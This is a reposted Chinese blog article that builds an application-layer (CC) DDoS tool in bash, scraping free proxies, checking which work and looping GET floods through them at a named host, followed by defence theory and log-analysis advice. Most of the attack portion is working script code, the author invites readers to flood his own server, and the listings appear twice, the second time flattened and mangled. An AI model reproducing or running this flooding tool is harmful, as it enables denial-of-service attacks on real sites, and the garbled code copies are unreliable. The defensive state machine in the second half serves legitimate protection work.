如何防御CC,DDOS,SYN这些类型的cc攻击防御

DDoS攻防战(二):CC攻击工具实现与防御理论 - 文章 - 伯乐在线
& DDoS攻防战(二):CC攻击工具实现与防御理论
我们将要实现一个进行应用层DDoS攻击的工具,综合考虑,CC攻击方式是最佳选择,并用bash shell脚本来快速实现并验证这一工具,并在最后,讨论如何防御来自应用层的DDoS攻击。
第一步:获取大量可用代理ip:port列表
网上所处可见免费代理,我们使用http的GET方法抓取html文档,接着使用正则过滤出我们需要的ip port对,然后逐一验证各代理的可用性,最终得到可用的代理ip port对。
grab_proxy.sh
#!/bin/bash
#get proxy list
declare proxyListFile="proxy.txt"
declare tmpFile=`mktemp`
declare url
declare line
declare times
declare ip
declare port
declare mod
function quit() {
rm -f $tmpFile
echo "get proxy list... please wait..."
if [ -r "$proxyListFile" ]
rm -f $proxyListFile
touch $proxyListFile
for url in
" /Daili/guonei/2215.html " \
" /Daili/guonei/2215_2.html" \
" /Daili/guonei/2215_3.html" \
" /Daili/guonei/2215_4.html "
if GET "$url" & $tmpFile
grep -oE '^.*&br /&.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
| sort -n | uniq | awk -F: '{ printf("%-15s
%s \n",$1,$2); }' && $proxyListFile
echo "error: get proxy list fail! chech the url:$url or the network"
echo "done. total `cat $proxyListFile | wc -l` proxy"
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849
grab_proxy.sh#!/bin/bash&#get proxy listdeclare proxyListFile="proxy.txt"declare tmpFile=`mktemp`declare urldeclare linedeclare timesdeclare ipdeclare portdeclare ideclare jdeclare mod&function quit() {&&&&rm -f $tmpFile&&&&exit "$1"}&echo "get proxy list... please wait..."&if [ -r "$proxyListFile" ]then&&rm -f $proxyListFilefi&touch $proxyListFile&for url in&&" /Daili/guonei/2215.html " \&&&&&&&&&&&&" /Daili/guonei/2215_2.html" \&&&&&&&&&&&&" /Daili/guonei/2215_3.html" \&&&&&&&&&&&&" /Daili/guonei/2215_4.html "do&&&&if GET "$url" & $tmpFile&&&&then&&&&&&&&grep -oE '^.*&br /&.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \&&&&&&&&| sort -n | uniq | awk -F: '{ printf("%-15s&&%s \n",$1,$2); }' && $proxyListFile&&&&else&&&&&&&&exec 1&&2&&&&&&&&echo "error: get proxy list fail! chech the url:$url or the network"&&&&&&&&quit 1&&&&fidone&echo "done. total `cat $proxyListFile | wc -l` proxy"&quit 0#exit
declare proxyListFile=”proxy.txt”
#抓取到的代理ip port对所存放的文件路径
check_proxy.sh
#!/bin/bash
#get proxy list
declare check_threads=10
declare line
declare times
declare ip
declare port
declare mod
function quit() {
#echo "start check proxy's functionality..."
#retarget the input file to stdin
if [ "$#" -gt "0" ]
echo "usage: bash $0 proxyListFile.txt"
echo "error: must have one input arg"
#check proxy's functionality
while read line
times=$((times+1))
for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
j=$((j+1))
if [ "$j" -eq 1 ]
#echo "times=$times ip=$ip port=$port"
# start test
if GET -t 5 -p "http://$ip:$port" "" &&/dev/null
echo "$ip $port"
echo ":) ip=$ip port=$port " &&/dev/null
echo "invalid ip=$ip port=$port : please check ip:host or network" &&/proc/self/fd/2
mod=$((times%check_threads))
if [ "$mod" -eq "0" ]
#close the fd of input file
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566
check_proxy.sh#!/bin/bash&#get proxy listdeclare check_threads=10declare linedeclare timesdeclare ipdeclare portdeclare ideclare jdeclare mod&function quit() {&&&&exit "$1"}&#echo "start check proxy's functionality..."&#retarget the input file to stdinif [ "$#" -gt "0" ]then&&&&exec 0&$1else&&&&exec 1&&2&&&&echo "usage: bash $0 proxyListFile.txt"&&&&echo "error: must have one input arg"&&&&quit 1fi&#check proxy's functionalitytimes=0while read linedo&&&&times=$((times+1))&&&&j=0&&&&for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`&&&&do&&&&&&&&j=$((j+1))&&&&&&&&if [ "$j" -eq 1 ]&&&&&&&&then&&&&&&&&&&&&ip=$i&&&&&&&&else&&&&&&&&&&&&port=$i&&&&&&&&fi&&&&done&&&&#echo "times=$times ip=$ip port=$port"&&&&# start test&&&&if GET -t 5 -p "http://$ip:$port" "" &&/dev/null&&&&then &&&&&&&&echo "$ip $port"&&&&&&&&echo ":) ip=$ip port=$port " &&/dev/null&&&&else&&&&&&&&echo "invalid ip=$ip port=$port : please check ip:host or network" &&/proc/self/fd/2&&&&fi &&&&&mod=$((times%check_threads))&&&&if [ "$mod" -eq "0" ]&&&&then&&&&&&&&wait&&&&fidone&#close the fd of input fileexec 0&&-quit 0#exit
declare check_threads=10 #验证代理可用性时的并发数,看一下代码就会发现,我们使用的是GET 方法,所以,并发数请不要也太高 :) 除非你的目标就是……
总结:应征入伍的士兵共计600人,经过考核的共计449人,如果你还想招募更多的士兵,奉劝一句,苦海无边,回头是岸。
第二步:吹响战争号角
笔者在一台VPS上建立了一个薄弱的靶机,各位读者请不要太暴力,测试一下就可以了,地址 http://eecs.cc:8080/
笔者把这么重要的信息都放出来了,读者请点个赞吧
#!/bin/bash
declare target_url="http://eecs.cc:8080/"
declare get_timeout_sec=5
declare line
declare times
declare ip
declare port
function quit() {
#retarget the input file to stdin
if ! [ "$#" -gt "0" ]
echo "challenge collapsar attack -- cc attack"
echo "usage: bash $0 proxyListFile.txt"
echo "error: must have one input arg"
echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
echo "command: target: $target_url"
echo "command: start challenge collapsar attack
amazing..."
#start challenge collapsar attack
while true
while read line
times=$((times+1))
for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
j=$((j+1))
if [ "$j" -eq 1 ]
echo "times=$times ip=$ip port=$port"
#single soldier attack
if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &&/dev/null
echo "soldier$times attack $target_url :)"
echo "soldier$times attack $target_url miss"
#close the fd of input file
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768
cc.sh#!/bin/bash&declare target_url="http://eecs.cc:8080/"declare get_timeout_sec=5declare linedeclare timesdeclare ipdeclare portdeclare ideclare j&function quit() {&&&&exit "$1"}&#retarget the input file to stdinif ! [ "$#" -gt "0" ]then&&&&exec 1&&2&&&&echo "challenge collapsar attack -- cc attack"&&&&echo "usage: bash $0 proxyListFile.txt"&&&&echo "error: must have one input arg"&&&&quit 1fi&echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"echo "command: target: $target_url"echo "command: start challenge collapsar attack&& :)&& amazing..."&exec 0&$1#start challenge collapsar attack&while truedo&&&&times=0&&&&exec 0&&-&&&&exec 0&$1&&&&while read line&&&&do&&&&&&&&times=$((times+1))&&&&&&&&j=0&&&&&&&&for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`&&&&&&&&do&&&&&&&&&&&&j=$((j+1))&&&&&&&&&&&&if [ "$j" -eq 1 ]&&&&&&&&&&&&then&&&&&&&&&&&&&&&&ip=$i&&&&&&&&&&&&else&&&&&&&&&&&&&&&&port=$i&&&&&&&&&&&&fi&&&&&&&&done&&&&&&&&echo "times=$times ip=$ip port=$port"&&&&&&&&#single soldier attack&&&&&&&&if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &&/dev/null &&&&&&&&then &&&&&&&&&&&&echo "soldier$times attack $target_url :)"&&&&&&&&else&&&&&&&&&&&&echo "soldier$times attack $target_url miss"&&&&&&&&fi &&&&&done&&&&waitdone&#close the fd of input fileexec 0&&-quit 0#exit
读者可自行尝试攻击这个站点,然后使用浏览器访问查看服务器网络状况,此时大量连接处于TIME_WAIT状态,参考TCP状态机,这一状态为主动关闭一方的最终等待状态。
请不要恶意攻击别人的网站 如果因此被关了进去 没有人能把你弄出来
应用层DDoS的防御理论:
问题模型描述:
每一个页面,都有其资源消耗权重,静态资源,权重较低,动态资源,权重较高。对于用户访问,有如下:
用户资源使用频率=使用的服务器总资源量/s
命题一:对于正常访问的用户,资源使用频率必定位于一个合理的范围,当然会存在大量正常用户共享ip的情况,这就需要日常用户访问统计,以得到忠实用户ip白名单。
命题二:资源使用频率持续异常的,可断定为访问异常的用户。
防御体系状态机:
1.在系统各项资源非常宽裕时,向所有ip提供服务,每隔一段时间释放一部分临时黑名单中的ip成员;
2.在系统资源消耗达到某一阈值时,降低Syn包接受速率,循环:分析最近时间的日志,并将访问异常的ip加入临时黑名单;
3.若系统资源消耗慢慢回降至正常水平,则恢复Syn包接受速率,转到状态1;若目前策略并未有效地控制住系统资源消耗的增长,情况继续恶劣至一极限阈值,转到状态4;
4.最终防御方案,使用忠实用户ip白名单、异常访问ip黑名单策略,其他访问可慢慢放入,直到系统资源消耗回降至正常水平,转到状态1。
上述的防御状态机,对于单个攻击IP高并发的DDOS,变化到状态3时,效果就完全体现出来了,但如果防御状态机进行到4状态,则有如下两种可能:
1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击;
2.站点突然间有了很多访问正常的新用户。
建议后续工作:
保守:站点应尽快进行服务能力升级。
积极:尽所能,追溯攻击者。
追溯攻击者:
CC:proxy-forward-from-ip
单个IP高并发的DDOS:找到访问异常的、高度可疑的ip列表,exploit,搜集、分析数据,因为一个傀儡主机可被二次攻占的概率很大(但不建议这种方法)
单个IP低并发的DDOS:以前极少访问被攻击站点,但是在攻击发生时,却频繁访问我们的站点,分析日志得到这一部分ip列表
追溯攻击者的过程中,snat与web proxy增加了追踪的难度,如果攻击者采用多个中继服务器的方法,追溯将变得极为困难。
1.应对当前系统了如指掌,如系统最高负载、最高数据处理能力,以及系统防御体系的强项与弱点
2.历史日志的保存、分析
3.对当前系统进行严格安全审计
4.上报公安相关部分,努力追溯攻击者
5.网站,能静态,就一定不要动态,可采取定时从主数据库生成静态页面的方式,对需要访问主数据库的服务使用验证机制。
6.防御者应能从全局的角度,迅速及时地发现系统正在处于什么程度的攻击、何种攻击,在平时,应该建立起攻击应急策略,规范化操作,免得在急中犯下低级错误
对历史日志的分析这时将会非常重要,数据可视化与统计学的方法将会很有益处:
1.分析每个页面的平均访问频率
2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率
3.得到对访问异常页面的访问异常ip列表
4.对日志分析得到忠实用户IP白名单
5.一般一个页面会关联多个资源,一次对于这样的页面访问往往会同时增加多个资源的访问数,而攻击程序一般不会加载这些它不感兴趣的资源,所以,这也是一个非常好的分析突破点
本文主要讲述了DDoS攻击之一的CC攻击工具实现,以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章,笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块,以对应于上述防御状态机中的防火墙单元,它实现了自主地动态内存管理,使用hash表管理ip列表,并可以自定义hash表的modular。
可能感兴趣的话题
不错不错,但我看不懂啊
关于伯乐在线博客
在这个信息爆炸的时代,人们已然被大量、快速并且简短的信息所包围。然而,我们相信:过多“快餐”式的阅读只会令人“虚胖”,缺乏实质的内涵。伯乐在线内容团队正试图以我们微薄的力量,把优秀的原创文章和译文分享给读者,为“快餐”添加一些“营养”元素。
新浪微博:
推荐微信号
(加好友请注明来意)
– 好的话题、有启发的回复、值得信赖的圈子
– 分享和发现有价值的内容与观点
– 为IT单身男女服务的征婚传播平台
– 优秀的工具资源导航
– 翻译传播优秀的外文文章
– 国内外的精选文章
– UI,网页,交互和用户体验
– 专注iOS技术分享
– 专注Android技术分享
– JavaScript, HTML5, CSS
– 专注Java技术分享
– 专注Python技术分享
& 2017 伯乐在线}

我要回帖

更多关于 arp攻击如何防御 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信